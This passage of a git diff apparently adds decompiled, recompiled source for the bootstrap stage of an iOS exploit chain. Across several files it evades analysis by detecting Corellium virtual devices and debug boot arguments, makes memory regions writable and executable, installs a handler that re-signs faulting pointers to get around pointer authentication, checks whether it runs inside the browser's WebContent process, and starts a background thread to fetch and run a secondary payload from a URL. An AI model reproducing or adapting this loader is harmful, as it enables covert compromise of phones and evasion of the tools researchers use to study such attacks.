(cpu == SOC_TYPE_E) + goto env_check; + if (cpu == SOC_TYPE_D) + goto env_check; + } + } + } + +env_check: + /* Check for virtual environment (Corellium, etc.) */ + print_log("[bootstrap] process: checking virtual environment"); + { + uint8_t is_virtual = 1; + err = check_virtual_env(&is_virtual); + uint32_t env_err = (is_virtual == 0) ? (ERR_GENERIC + 0x1B) : 0; + if (err) + env_err = ERR_GENERIC + 2; + err = env_err; + if (err) { + print_log("[bootstrap] process: virtual env check FAIL err=0x%x is_virtual=%d", err, is_virtual); + //return err; + } + } + print_log("[bootstrap] process: virtual env check OK"); + + /* Validate os_version ceiling */ + if (ctx->os_version > 0x1102FF) { + print_log("[bootstrap] process: os_version too high (0x%x)", ctx->os_version); + return ERR_GENERIC - 1; + } + + /* Check L2 cache size for additional validation */ + if (ctx->os_version >= 0xE0000) { + uint64_t l2_size = 0; + size_t l2_len = 8; + int sysret = sysctlbyname("hw.l2cachesize", &l2_size, &l2_len, + NULL, 0); + print_log("[bootstrap] process: l2cachesize=%llu sysret=%d", l2_size, sysret); + uint32_t l2_err = (l2_size >> 20) ? 0 : (ERR_GENERIC + 0x1B); + if (!sysret && l2_size >= 0x100000) + goto check_bootargs; + err = l2_err; + } + +check_bootargs: + /* Check kernel boot arguments for debug strings */ + print_log("[bootstrap] process: checking bootargs"); + { + char bootargs[0x400]; + size_t ba_len = 0x400; + memset(bootargs, 0, sizeof(bootargs)); + if (sysctlbyname("kern.bootargs", bootargs, &ba_len, NULL, 0) == 0 + && bootargs[0]) { + print_log("[bootstrap] process: bootargs='%s'", bootargs); + if (bootargs[0] != ' ' || bootargs[1] != '\0') { + print_log("[bootstrap] process: bootargs check FAIL"); + return ERR_GENERIC + 0x1B; + } + } + } + + /* Check host info for iOS 15 and below */ + if (ctx->os_version <= 0xF0000) { + mach_msg_type_number_t hi_count = 1; + uint32_t hi_data = 0; + int hi_ret = host_info(mach_host_self(), 11 /* HOST_VM_INFO */, + (host_info_t)&hi_data, &hi_count); + print_log("[bootstrap] process: host_info ret=%d data=0x%x", hi_ret, hi_data); + uint32_t hi_err = (hi_data == 0) ? 0 : (ERR_GENERIC + 0x1B); + if (hi_ret) + goto setup_mem; + err = hi_err; + if (err) { + print_log("[bootstrap] process: host_info check FAIL err=0x%x", err); + return err; + } + } + +setup_mem: + /* Setup memory regions */ + print_log("[bootstrap] process: step 5 - setup_memory"); + err = setup_memory(ctx); + if (err) { + print_log("[bootstrap] process: setup_memory FAIL err=0x%x", err); + return err; + } + + /* Clone context for worker thread */ + print_log("[bootstrap] process: cloning context for worker thread"); + bootstrap_ctx_t *clone = (bootstrap_ctx_t *)malloc(sizeof(bootstrap_ctx_t)); + if (!clone) + goto fail; + + memcpy(clone, ctx, sizeof(bootstrap_ctx_t)); + + /* Duplicate heap-allocated strings */ + if (clone->secondary_url) { + clone->secondary_url = strdup(clone->secondary_url); + if (!clone->secondary_url) + goto fail; + } + + if (clone->key_ptr) { + uint8_t *new_key = (uint8_t *)malloc(0x20); + if (!new_key) + goto fail; + memcpy(new_key, clone->key_ptr, 0x20); + clone->key_ptr = new_key; + } + + if (clone->base_url) { + clone->base_url = strdup(clone->base_url); + if (!clone->base_url) + goto fail; + } + + if (clone->user_agent) { + clone->user_agent = strdup(clone->user_agent); + if (!clone->user_agent) + goto fail; + } + + if (clone->alt_url) { + clone->alt_url = strdup(clone->alt_url); + if (!clone->alt_url) + goto fail; + } + + /* Create worker thread */ + print_log("[bootstrap] process: creating worker thread"); + { + uint32_t thread_err = ERR_NULL_CTX + 0x10000; + pthread_attr_t attr; + if (pthread_attr_init(&attr)) + goto fail; + + if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED)) { + pthread_attr_destroy(&attr); + goto fail; + } + + pthread_t thread; + if (pthread_create(&thread, &attr, (void *(*)(void *))thread_main, clone) == 0) { + thread_err = 1; /* success sentinel */ + print_log("[bootstrap] process: worker thread created OK"); + } else { + thread_err++; + print_log("[bootstrap] process: pthread_create FAILED"); + } + + pthread_attr_destroy(&attr); + return thread_err; + } + +fail: + print_log("[bootstrap] process: FAIL (alloc error)"); + return ERR_NULL_CTX + 0x10000; +} + +/* ── thread_main (0x6c44) ──────────────────────────────────────── */ +/* Worker thread entry point. Sets up SIGSEGV handler for PAC faults, + * creates a UIApplication background task, calls process_payload, + * then cleans up. + */ + +void *thread_main(bootstrap_ctx_t *ctx) +{ + uint32_t err = ERR_GENERIC; + uint32_t result = err - 9; /* = ERR_NULL_CTX */ + int sig_installed = 0; + + print_log("[bootstrap] thread_main: entry ctx=%p", ctx); + + /* Install PAC SIGSEGV handler on iOS 13-14 arm64e only. + * On iOS 15+, the exploit uses a different PAC bypass strategy + * and does NOT need the SIGSEGV fault handler. */ + uint16_t os_major = (ctx->os_version >> 16) & 0xFF; + print_log("[bootstrap] thread_main: os_major=%u has_pac=%d", os_major, has_pac()); + if (os_major <= 14 && has_pac()) { + /* Install SIGSEGV handler for PAC faults */ + print_log("[bootstrap] thread_main: installing PAC SIGSEGV handler"); + struct sigaction sa, old_sa; + memset(&sa, 0, sizeof(sa)); + sa.sa_sigaction = (void (*)(int, siginfo_t *, void *))resolve_pac_pointer; + sa.sa_flags = SA_SIGINFO; + + if (sigaction(SIGSEGV, &sa, &old_sa) != 0) { + err = *__error(); + if (err < 0) err = (uint32_t)(-err); + err |= 0x40000000; + print_log("[bootstrap] thread_main: sigaction FAIL err=0x%x", err); + return (void *)(uintptr_t)err; + } + sig_installed = 1; + print_log("[bootstrap] thread_main: SIGSEGV handler installed"); + } + + /* Begin UIApplication background task */ + UIBackgroundTaskIdentifier bg_task = UIBackgroundTaskInvalid; + + UIApplication *app = [UIApplication alloc]; + print_log("[bootstrap] thread_main: UIApplication=%p", app); + if (!app) { + print_log("[bootstrap] thread_main: cleanup err=0x%x", err); + return (void *)(uintptr_t)err; + } + + id expireBlock = ^{ + print_log("[bootstrap] bg_task_expired: ending task_id=%lu", (unsigned long)bg_task); + [app endBackgroundTask:bg_task]; + //bg_task = UIBackgroundTaskInvalid; + }; +// uint64_t underlyingClass = *(uint64_t*)expireBlock; +// __asm__ volatile("pacda %0, %1" : "+r"(underlyingClass) : "r"((uint64_t)expireBlock | (0x6ae1ll << 48))); +// *(uint64_t*)expireBlock = underlyingClass; + + bg_task = [app beginBackgroundTaskWithExpirationHandler:expireBlock]; + print_log("[bootstrap] thread_main: background task started id=%lu", (unsigned long)bg_task); + + /* Process the payload */ + char *url = ctx->secondary_url; + print_log("[bootstrap] thread_main: secondary_url=%s", url ? url : "(null)"); + if (url) { + err = process_payload(ctx, url, 0, &result); + print_log("[bootstrap] thread_main: process_payload returned err=0x%x result=0x%x", err, result); + if (err == 0) + err = result; + } else { + err = 0; + } + + /* End background task if it was started */ + if (bg_task != UIBackgroundTaskInvalid) { + print_log("[bootstrap] thread_main: ending background task"); + [app endBackgroundTask:bg_task]; + bg_task = UIBackgroundTaskInvalid; + } + + /* Restore SIGSEGV handler if we installed one */ + if (sig_installed) { + print_log("[bootstrap] thread_main: restoring SIGSEGV handler"); + struct sigaction old_sa; + if (sigaction(SIGSEGV, NULL, &old_sa) != 0) { + err = *__error(); + if (err < 0) err = (uint32_t)(-err); + err |= 0x40000000; + print_log("[bootstrap] thread_main: sigaction restore FAIL err=0x%x", err); + } + } + + /* Check if exit requested */ + if (ctx->flag_exit) { + print_log("[bootstrap] thread_main: flag_exit set, calling _exit(0)"); + _exit(0); + } + +cleanup: + print_log("[bootstrap] thread_main: cleanup err=0x%x", err); + return (void *)(uintptr_t)err; + +done: + print_log("[bootstrap] thread_main: done err=0x%x", err); + return (void *)(uintptr_t)err; +} diff --git a/src/bootstrap/memory.m b/src/bootstrap/memory.m new file mode 100644 index 0000000..acfd38b --- /dev/null +++ b/src/bootstrap/memory.m @@ -0,0 +1,286 @@ +/* + * memory.m - Cache, buffer allocation, and memory region management + * + * Decompiled from bootstrap.dylib offsets 0x5dc8-0x5fe8, 0x8298-0x842c + */ + +#import "bootstrap.h" +#import +#import +#import +#import + +extern void sys_dcache_flush(void *addr, size_t size); +extern void sys_icache_invalidate(void *addr, size_t size); +extern int proc_pidinfo(int pid, int flavor, uint64_t arg, + void *buf, int bufsize); + +/* ── flush_icache (0x5dc8) ───────────────────────────────────────── */ + +void flush_icache(bootstrap_ctx_t *ctx, void *addr, uint32_t size) +{ + uint8_t *base; + uint32_t total; + + if (addr && size) { + base = (uint8_t *)addr; + total = size; + } else { + total = ctx->exec_size; + if (total == 0) return; + base = ctx->exec_base; + } + + print_log("[bootstrap] flush_icache: base=%p size=0x%x", base, total); + + uint32_t offset = 0; + uint32_t remaining = total; + while (total > offset) { + uint32_t chunk = remaining; + if (chunk > 0x50000) + chunk = 0x50000; + sys_dcache_flush(base + offset, chunk); + sys_icache_invalidate(base + offset, chunk); + offset += 0x50000; + remaining = total - offset; + } +} + +/* ── alloc_buffer (0x5e78) ───────────────────────────────────────── */ + +uint32_t alloc_buffer(bootstrap_ctx_t *ctx, uint32_t size) +{ + print_log("[bootstrap] alloc_buffer: size=0x%x", size); + + uint8_t *exec_base = ctx->exec_base; + uint32_t exec_size = ctx->exec_size; + uint32_t *state = ctx->atomic_state; + + if (!state) + state = (uint32_t *)(exec_base + exec_size - 4); + + for (;;) { + uint32_t current = __atomic_load_n(state, __ATOMIC_ACQUIRE); + uint32_t add = size; + if (current == 0) + add += 4; + uint32_t new_val = current + add; + if (new_val > exec_size) { + print_log("[bootstrap] alloc_buffer: FAIL size exceeds exec region (0x%x > 0x%x)", new_val, exec_size); + return 0xc003; + } + + uint32_t expected = current; + if (__atomic_compare_exchange_n(state, &expected, new_val, + 0, __ATOMIC_ACQ_REL, + __ATOMIC_ACQUIRE)) + { + uint8_t *ptr = exec_base + exec_size - new_val; + ctx->buffer_ptr = ptr; + ctx->buffer_remaining = size; + bzero(ptr, (size_t)size); + + if (ctx->fn_icache_flush) + ctx->fn_icache_flush(ctx, ctx->buffer_ptr, ctx->buffer_remaining); + + print_log("[bootstrap] alloc_buffer: OK ptr=%p", ptr); + return 0; + } + } +} + +/* ── consume_buffer (0x5f4c) ─────────────────────────────────────── */ + +void *consume_buffer(bootstrap_ctx_t *ctx, uint32_t size) +{ + if (ctx->buffer_remaining < size) + return NULL; + + uint8_t *old = ctx->buffer_ptr; + ctx->buffer_ptr = old + size; + ctx->buffer_remaining -= size; + return old; +} + +/* ── secure_bzero (0x5fa0) ───────────────────────────────────────── */ + +uint32_t secure_bzero(bootstrap_ctx_t *ctx, void *ptr, uint32_t size) +{ + if (ptr && size) + bzero(ptr, size); + return 0; +} + +/* ── ensure_rwx_protection ───────────────────────────────────────── */ +/* On modern iOS (14.5+), JIT regions may have current protection --- + * with max protection rwx. We need to vm_protect them to rwx before use. + */ + +static uint32_t ensure_rwx_protection(uint64_t addr, uint64_t size, + uint32_t cur_prot, uint32_t max_prot) +{ + if (cur_prot == 0x7) { + /* Already rwx */ + return 0; + } + + if (max_prot != 0x7) { + print_log("[bootstrap] ensure_rwx_protection: max_prot=0x%x (not rwx), cannot fix", max_prot); + return 0xc001; + } + + print_log("[bootstrap] ensure_rwx_protection: promoting ---/rwx -> rwx/rwx at 0x%llx size=0x%llx", + (unsigned long long)addr, (unsigned long long)size); + kern_return_t kr = vm_protect(mach_task_self(), (vm_address_t)addr, + (vm_size_t)size, 0, + VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); + if (kr != KERN_SUCCESS) { + print_log("[bootstrap] ensure_rwx_protection: vm_protect FAIL kr=0x%x", kr); + return kr | 0x80000000; + } + return 0; +} + +/* ── setup_memory (0x8298) ───────────────────────────────────────── */ + +uint32_t setup_memory(bootstrap_ctx_t *ctx) +{ + print_log("[bootstrap] setup_memory: flag_a=%d flag_b=%d flag_direct_mem=%d", ctx->flag_a, ctx->flag_b, ctx->flag_direct_mem); + + if (ctx->flag_a || ctx->flag_b || ctx->flag_direct_mem) { + ctx->fn_icache_flush = (fn_icache_flush_t)flush_icache; + + if (!ctx->flag_b && !ctx->flag_direct_mem) { + ctx->buffer_remaining = 0; + return 0; + } + return 0; + } + + uint32_t os_ver = ctx->os_version; + print_log("[bootstrap] setup_memory: os_ver=0x%x", os_ver); + + if (os_ver >= 0x0F0000) { + /* iOS 15+: use proc_pidinfo (PROC_PIDREGIONINFO = 7) */ + /* Returns struct proc_regioninfo (0x60 bytes): + * +0x00: pri_protection (uint32_t) + * +0x04: pri_max_protection (uint32_t) + * ... + * +0x50: pri_address (uint64_t) + * +0x58: pri_size (uint64_t) + */ + struct { + uint8_t data[0x60]; + } info; + + int ret = proc_pidinfo(getpid(), 7, + (uint64_t)ctx->buffer_ptr, + &info, 0x60); + if (ret <= 0) { + print_log("[bootstrap] setup_memory: proc_pidinfo FAIL ret=%d", ret); + return 0x80000005; + } + + uint64_t region_addr = *(uint64_t *)((uint8_t *)&info + 0x50); + uint64_t region_size = *(uint64_t *)((uint8_t *)&info + 0x58); + + uint32_t prot = *(uint32_t *)((uint8_t *)&info); + uint32_t max_prot = *(uint32_t *)((uint8_t *)&info + 4); + print_log("[bootstrap] setup_memory: region addr=0x%llx size=0x%llx prot=0x%x max_prot=0x%x", + (unsigned long long)region_addr, (unsigned long long)region_size, prot, max_prot); + + if (!ctx->mmap_secondary && prot != 0x7) { + /* Current protection is not rwx — try to promote if max allows */ + uint32_t fix_err = ensure_rwx_protection(region_addr, region_size, prot, max_prot); + if (fix_err) { + print_log("[bootstrap] setup_memory: cannot get rwx protection"); + return fix_err; + } + } + + if (!region_addr || !region_size) + return 0xc003; + + uint64_t half = region_size >> 1; + if (half > region_size) + return 0xc003; + + uint32_t *end = (uint32_t *)(region_addr + half); + end--; + if (half < *end) + return 0xc003; + + ctx->atomic_state = end; + ctx->exec_base = (uint8_t *)(region_addr + half); + uint32_t usable; + if (ctx->flag_new_ios) + usable = (uint32_t)(half - 0x100000); + else + usable = (uint32_t)(region_size >> 2); + ctx->exec_size = usable; + ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer; + print_log("[bootstrap] setup_memory: iOS15+ exec_base=%p exec_size=0x%x", ctx->exec_base, usable); + goto install_funcs; + } + + /* Pre-iOS 15: use vm_region_64 */ + { + mach_vm_address_t addr = (mach_vm_address_t)ctx->buffer_ptr; + mach_vm_size_t size_out = 0; + vm_region_flavor_t flavor = 9; + vm_region_basic_info_data_64_t info; + mach_msg_type_number_t count = 9; + mach_port_t object_name; + + kern_return_t kr = vm_region_64(mach_task_self(), + (vm_address_t *)&addr, + (vm_size_t *)&size_out, + flavor, + (vm_region_info_t)&info, + &count, + &object_name); + if (kr != KERN_SUCCESS) { + print_log("[bootstrap] setup_memory: vm_region_64 FAIL kr=0x%x", kr); + return kr | 0x80000000; + } + + uint32_t prot = info.protection; + uint32_t max_prot = info.max_protection; + print_log("[bootstrap] setup_memory: region addr=0x%llx size=0x%llx prot=0x%x max_prot=0x%x", + (unsigned long long)addr, (unsigned long long)size_out, prot, max_prot); + + if (!ctx->mmap_secondary && prot != 0x7) { + /* Current protection is not rwx — try to promote if max allows */ + uint32_t fix_err = ensure_rwx_protection(addr, size_out, prot, max_prot); + if (fix_err) { + print_log("[bootstrap] setup_memory: cannot get rwx protection"); + return fix_err; + } + } + + if (!addr || !size_out) + return 0xc003; + + uint64_t half = size_out >> 1; + uint32_t *end = (uint32_t *)(addr + half); + end--; + if (half < *end) + return 0xc003; + + ctx->atomic_state = end; + ctx->exec_base = (uint8_t *)(addr + half); + uint32_t usable; + if (ctx->flag_new_ios) + usable = (uint32_t)(half - 0x100000); + else + usable = (uint32_t)(size_out >> 2); + ctx->exec_size = usable; + ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer; + print_log("[bootstrap] setup_memory: pre-15 exec_base=%p exec_size=0x%x", ctx->exec_base, usable); + } + +install_funcs: + ctx->fn_icache_flush = (fn_icache_flush_t)flush_icache; + print_log("[bootstrap] setup_memory: OK"); + return 0; +} diff --git a/src/bootstrap/pac.m b/src/bootstrap/pac.m new file mode 100644 index 0000000..92c6212 --- /dev/null +++ b/src/bootstrap/pac.m @@ -0,0 +1,128 @@ +/* + * pac.m - Pointer Authentication Code utilities + * + * Decompiled from bootstrap.dylib offsets 0x5cec-0x5dc4, 0x6fec-0x708c, + * 0x7ba0-0x7be8 + */ + +#import "bootstrap.h" +#import + +/* ── Raw PAC instruction wrappers (0x7ba0-0x7bbc) ────────────────── */ + +__attribute__((noinline)) +uint64_t pacia(uint64_t ptr, uint64_t ctx) +{ + __asm__ volatile("pacia %0, %1" : "+r"(ptr) : "r"(ctx)); + return ptr; +} + +__attribute__((noinline)) +uint64_t pacda(uint64_t ptr, uint64_t ctx) +{ + __asm__ volatile("pacda %0, %1" : "+r"(ptr) : "r"(ctx)); + return ptr; +} + +__attribute__((noinline)) +uint64_t pacib(uint64_t ptr, uint64_t ctx) +{ + __asm__ volatile("pacib %0, %1" : "+r"(ptr) : "r"(ctx)); + return ptr; +} + +__attribute__((noinline)) +uint64_t pacdb(uint64_t ptr, uint64_t ctx) +{ + __asm__ volatile("pacdb %0, %1" : "+r"(ptr) : "r"(ctx)); + return ptr; +} + +/* ── check_pac_enabled (0x7bc0) ──────────────────────────────────── */ + +int check_pac_enabled(void) +{ + uint64_t test_val = 0xAAAAAAAAAAAAAAAAULL; + uint64_t result; + __asm__ volatile( + "mov x30, %1\n" + "xpaclri\n" + "mov %0, x30\n" + : "=r"(result) + : "r"(test_val) + : "x30" + ); + int enabled = (result != test_val) ? 1 : 0; + print_log("[bootstrap] check_pac_enabled: %d", enabled); + return enabled; +} + +/* ── has_pac (0x5cec) ────────────────────────────────────────────── */ + +int has_pac(void) +{ + return check_pac_enabled() != 0 ? 1 : 0; +} + +/* ── strip_pac (0x5d2c) ─────────────────────────────────────────── */ + +uint64_t strip_pac(uint64_t ptr) +{ + uint64_t result; + __asm__ volatile( + "mov x30, %1\n" + "xpaclri\n" + "mov %0, x30\n" + : "=r"(result) + : "r"(ptr) + : "x30" + ); + return result; +} + +/* ── pac_sign_if_needed (0x5d68) ─────────────────────────────────── */ + +uint64_t pac_sign_if_needed(uint64_t ptr, uint64_t ctx) +{ + if (check_pac_enabled()) + ptr = pacia(ptr, ctx); + return ptr; +} + +/* ── resolve_pac_pointer (0x6fec) ───────────────────────────────── + * SIGSEGV handler for PAC authentication faults. + */ + +void resolve_pac_pointer(int sig, void *info, void *ucontext) +{ + print_log("[bootstrap] resolve_pac_pointer: sig=%d", sig); + + uint64_t *mctx = *(uint64_t **)((uint8_t *)ucontext + 0x30); + uint64_t pc = *(uint64_t *)((uint8_t *)mctx + 0x110); + + uint64_t upper = pc >> 39; + if (upper == 0x4000) { + pc &= ~(1ULL << 53); + } else { + uint64_t x0_val = mctx[0]; + uint64_t masked = x0_val & 0xFFFFFF8000000000ULL; + + if (masked == 0x2000000000000000ULL) { + uint64_t x0_low = x0_val & 0x7FFFFFFFFFULL; + uint64_t pc_low = pc & 0x7FFFFFFFFFULL; + if (x0_low != pc_low) + abort(); + } else if (masked == 0x0020000000000000ULL) { + uint64_t x0_low = x0_val & 0x7FFFFFFFFFULL; + uint64_t pc_low = pc & 0x7FFFFFFFFFULL; + if (x0_low != pc_low) + abort(); + } else { + abort(); + } + pc = pac_sign_if_needed(x0_val & 0x7FFFFFFFFFULL, 0x7481); + } + + *(uint64_t *)((uint8_t *)mctx + 0x110) = pc; + print_log("[bootstrap] resolve_pac_pointer: fixed PC=0x%llx", pc); +} diff --git a/src/bootstrap/sysinfo.m b/src/bootstrap/sysinfo.m new file mode 100644 index 0000000..ec00abc --- /dev/null +++ b/src/bootstrap/sysinfo.m @@ -0,0 +1,466 @@ +/* + * sysinfo.m - System information gathering and device checks + * + * Decompiled from bootstrap.dylib offsets 0x7090-0x7b9c + */ + +#import "bootstrap.h" +#import +#import +#import +#import +#import +#import +#import +#import + +extern int sandbox_check(pid_t pid, const char *operation, int type, ...); +extern int SANDBOX_CHECK_NO_REPORT; +extern int sysctlbyname(const char *, void *, size_t *, void *, size_t); + +extern kern_return_t host_kernel_version(mach_port_t, char *); + +/* ── get_cpufamily ─────────────────────────────────────────────── */ +/* Replacement for broken _get_cpu_capabilities commpage access. + * The original binary read CPUFAMILY from commpage offset +0x80 + * via the GOT layout — that layout doesn't exist in our recompile. + * Use the stable sysctl interface instead. + */ + +static uint32_t get_cpufamily(void) +{ + uint32_t cpufamily = 0; + size_t size = sizeof(cpufamily); + if (sysctlbyname("hw.cpufamily", &cpufamily, &size, NULL, 0) != 0) { + print_log("[bootstrap] get_cpufamily: sysctl FAIL"); + return 0; + } + return cpufamily; +} + +/* ── read_plist (0x7a98) ────────────────────────────────────────── */ + +void *read_plist(const char *path) +{ + print_log("[bootstrap] read_plist: %s", path); + + CFErrorRef error = NULL; + CFAllocatorRef alloc = kCFAllocatorDefault; + + size_t len = strlen(path); + CFURLRef url = CFURLCreateFromFileSystemRepresentation(alloc, (const UInt8 *)path, len, false); + if (!url) + return NULL; + + CFReadStreamRef stream = CFReadStreamCreateWithFile(alloc, url); + if (!stream) { + CFRelease(url); + return NULL; + } + + if (!CFReadStreamOpen(stream)) { + CFRelease(url); + CFRelease(stream); + return NULL; + } + + CFPropertyListRef plist = CFPropertyListCreateWithStream( + alloc, stream, 0, kCFPropertyListImmutable, NULL, &error); + + if (!plist && error) + CFRelease(error); + + CFReadStreamClose(stream); + CFRelease(url); + CFRelease(stream); + return (void *)plist; +} + +/* ── get_os_version (0x7090) ────────────────────────────────────── */ + +int get_os_version(uint32_t *out) +{ + int patch = 0; + + CFDictionaryRef plist = (CFDictionaryRef)read_plist( + "/System/Cryptexes/OS/System/Library/CoreServices/SystemVersion.plist"); + if (!plist) { + plist = (CFDictionaryRef)read_plist( + "/System/Library/CoreServices/SystemVersion.plist"); + if (!plist) { + print_log("[bootstrap] get_os_version: FAIL no SystemVersion.plist"); + return -1; + } + } + + CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault, + "ProductVersion", kCFStringEncodingUTF8); + if (!key) { + CFRelease(plist); + return -1; + } + + CFTypeRef value = CFDictionaryGetValue(plist, key); + if (!value) { + CFRelease(key); + CFRelease(plist); + return -1; + } + + if (CFGetTypeID(value) != CFStringGetTypeID()) { + CFRelease(key); + CFRelease(plist); + return -1; + } + + char buf[0x20]; + Boolean ok = CFStringGetCString((CFStringRef)value, buf, 0x20, CFStringGetSystemEncoding()); + CFRelease(key); + CFRelease(plist); + + if (!ok) + return -1; + + int major = 0, minor = 0; + if (sscanf(buf, "%d.%d.%d", &major, &minor, &patch) < 2) + return -2; + + *out = (uint32_t)((major << 16) | (minor << 8) | patch); + print_log("[bootstrap] get_os_version: %s -> 0x%x (major=%d minor=%d patch=%d)", buf, *out, major, minor, patch); + return 0; +} + +/* ── check_virtual_env (0x71fc) ─────────────────────────────────── */ + +uint32_t check_virtual_env(uint8_t *result) +{ + if (!result) + return -1; + + print_log("[bootstrap] check_virtual_env: start"); + + struct stat st; + memset(&st, 0, sizeof(st)); + + if (stat("/usr/libexec/corelliumd", &st) == 0) { + print_log("[bootstrap] check_virtual_env: Corellium daemon found"); + *result = 0; + return 0; + } + + if (sandbox_check(getpid(), "iokit-get-properties", + SANDBOX_CHECK_NO_REPORT, + "IOPlatformSerialNumber") > 0) + goto cpu_check; + + { + void *iokit = dlopen("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", 1); + if (!iokit) + goto cpu_check; + + void *sym_master = dlsym(iokit, "kIOMasterPortDefault"); + uint64_t master_ptr = strip_pac((uint64_t)sym_master); + + void *sym_entry = dlsym(iokit, "IORegistryEntryFromPath"); + uint64_t entry_fn = strip_pac((uint64_t)sym_entry); + + void *sym_prop = dlsym(iokit, "IORegistryEntryCreateCFProperty"); + uint64_t prop_fn = strip_pac((uint64_t)sym_prop); + + void *sym_release = dlsym(iokit, "IOObjectRelease"); + uint64_t release_fn = strip_pac((uint64_t)sym_release); + + if (!entry_fn || !prop_fn || !release_fn || !master_ptr) { + dlclose(iokit); + goto cpu_check; + } + + typedef uint32_t (*io_entry_fn_t)(uint32_t, const char *); + uint32_t master = *(uint32_t *)master_ptr; + uint32_t entry = ((io_entry_fn_t)entry_fn)(master, "IODeviceTree:/"); + if (!entry) { + dlclose(iokit); + goto cpu_check; + } + + CFStringRef serial_key = CFStringCreateWithCString( + kCFAllocatorDefault, "IOPlatformSerialNumber", kCFStringEncodingUTF8); + + int serial_ok = -1; + char serial_buf[0x40]; + memset(serial_buf, 0, sizeof(serial_buf)); + + if (!serial_key) { + serial_ok = -1; + } else { + typedef CFTypeRef (*io_prop_fn_t)(uint32_t, CFStringRef, CFAllocatorRef, uint32_t); + CFTypeRef prop = ((io_prop_fn_t)prop_fn)(entry, serial_key, kCFAllocatorDefault, 0); + + if (!prop || CFStringGetTypeID() != CFGetTypeID(prop)) { + serial_ok = -1; + } else { + Boolean got = CFStringGetCString((CFStringRef)prop, serial_buf, 0x40, kCFStringEncodingUTF8); + serial_ok = got ? 0 : -1; + CFRelease(prop); + } + + CFRelease(serial_key); + } + + typedef void (*io_release_fn_t)(uint32_t); + ((io_release_fn_t)release_fn)(entry); + dlclose(iokit); + + if (serial_ok == 0) { + print_log("[bootstrap] check_virtual_env: serial=%s", serial_buf); + uint64_t first8 = *(uint64_t *)serial_buf; + uint64_t corelliu = 0x49554C4C45524F43ULL; + uint8_t ninth = serial_buf[8]; + memset(serial_buf, 0, sizeof(serial_buf)); + + if ((first8 ^ corelliu) == 0 && (ninth ^ 0x4D) == 0) { + print_log("[bootstrap] check_virtual_env: CORELLIUM serial detected"); + *result = 0; + return 0; + } + } + } + +cpu_check: + /* Original binary read from commpage via _get_cpu_capabilities GOT + * offset chain. That layout doesn't exist in our recompile. + * Use hw.cpufamily sysctl instead for SoC identification. + * The VM-specific bit checks (commpage +0x10 bit 26, +0x26 == 0x80) + * cannot be replicated via sysctl — Corellium detection above + * already covers the main virtual environment case. + */ + { + uint32_t soc = get_cpufamily(); + print_log("[bootstrap] check_virtual_env: cpufamily=0x%x", soc); + + if (soc == 0) { + /* Can't determine CPU family */ + *result = 0; + return -1; + } + + /* Real hardware detected — Corellium checks above didn't trigger */ + *result = 1; + print_log("[bootstrap] check_virtual_env: result=%d", *result); + return 0; + } +} + +/* ── check_device_a (0x7524) ────────────────────────────────────── */ + +int check_device_a(uint8_t *out) +{ + if (!out) + return -1; + + *out = 0; + uint32_t soc = get_cpufamily(); + if (!soc) + return -2; + + uint8_t device = 0; + + if (soc <= (int32_t)SOC_TYPE_C) { + if (soc == SOC_TYPE_A || soc == SOC_TYPE_B) { + if (check_virtual_env(&device) != 0) + return -3; + } + } else { + if (soc == SOC_TYPE_D || soc == SOC_TYPE_E || soc == SOC_TYPE_F) { + if (check_virtual_env(&device) != 0) + return -3; + } + } + + *out = device; + print_log("[bootstrap] check_device_a: cpufamily=0x%x device=%d", soc, device); + return 0; +} + +/* ── check_device_b (0x7638) ────────────────────────────────────── */ + +int check_device_b(uint8_t *out) +{ + if (!out) + return -1; + + uint32_t soc = get_cpufamily(); + if (!soc) + return -2; + + if (soc == SOC_DEVICE_B_A || soc == SOC_DEVICE_B_B) { + uint8_t device = 1; + if (check_virtual_env(&device) != 0) + return -3; + *out = device; + } else { + *out = 0; + } + print_log("[bootstrap] check_device_b: cpufamily=0x%x out=%d", soc, *out); + return 0; +} + +/* ── init_system_info (0x7720) ──────────────────────────────────── */ + +uint32_t init_system_info(bootstrap_ctx_t *ctx) +{ + print_log("[bootstrap] init_system_info: start"); + + mach_msg_type_number_t count = 5; + struct { + uint64_t all_images_addr; + uint64_t all_images_size; + } dyld_info; + memset(&dyld_info, 0, sizeof(dyld_info)); + + kern_return_t kr = task_info(mach_task_self(), 17, + (task_info_t)&dyld_info, &count); + + uint64_t all_images = dyld_info.all_images_addr; + if (kr != 0 || !all_images) { + print_log("[bootstrap] init_system_info: task_info FAIL kr=%d", kr); + return -1; + } + + uint64_t info_array = *(uint64_t *)((uint8_t *)all_images + 0x20); + if (!info_array) + return -1; + + uint32_t soc_ver = *(uint32_t *)((uint8_t *)info_array + 0x4); + uint32_t soc_sub = *(uint32_t *)((uint8_t *)info_array + 0x8) & 0xFFFFFF; + ctx->soc_version = soc_ver; + ctx->soc_subversion = soc_sub; + print_log("[bootstrap] init_system_info: soc_ver=0x%x soc_sub=0x%x", soc_ver, soc_sub); + + uint32_t n_images = *(uint32_t *)((uint8_t *)all_images + 0x4); + if (!n_images) + return -1; + + uint8_t *image_list = *(uint8_t **)((uint8_t *)all_images + 0x8); + if (!image_list) + return -1; + + char *path0 = *(char **)(image_list + 0x8); + uint8_t is_wc = 0; + if (strstr(path0, "WebContent")) { + is_wc = 1; + } else { + uint8_t *last = image_list + (uint64_t)(n_images - 1) * 0x18; + char *path_last = *(char **)(last + 0x8); + is_wc = strstr(path_last, "WebContent") ? 1 : 0; + } + ctx->is_webcontent = is_wc; + print_log("[bootstrap] init_system_info: is_webcontent=%d", is_wc); + + /* Use sysctl for CPU identification instead of commpage reads */ + uint32_t cpufamily = get_cpufamily(); + if (!cpufamily) { + print_log("[bootstrap] init_system_info: get_cpufamily FAIL"); + return -1; + } + ctx->cpu_type = cpufamily; + + /* cpu_features: not used by bootstrap itself, set to 0. + * Original binary read from commpage offset +0x38 which is + * no longer accessible via our recompiled GOT layout. */ + ctx->cpu_features = 0; + print_log("[bootstrap] init_system_info: cpu_type=0x%x (cpufamily)", ctx->cpu_type); + + uint32_t os_ver; + int ret = get_os_version(&os_ver); + if (ret != 0) { + print_log("[bootstrap] init_system_info: get_os_version FAIL ret=%d", ret); + return ret; + } + + ctx->os_version = os_ver; + + char kern_str_[0x200] = {0}; + char *kern_str = 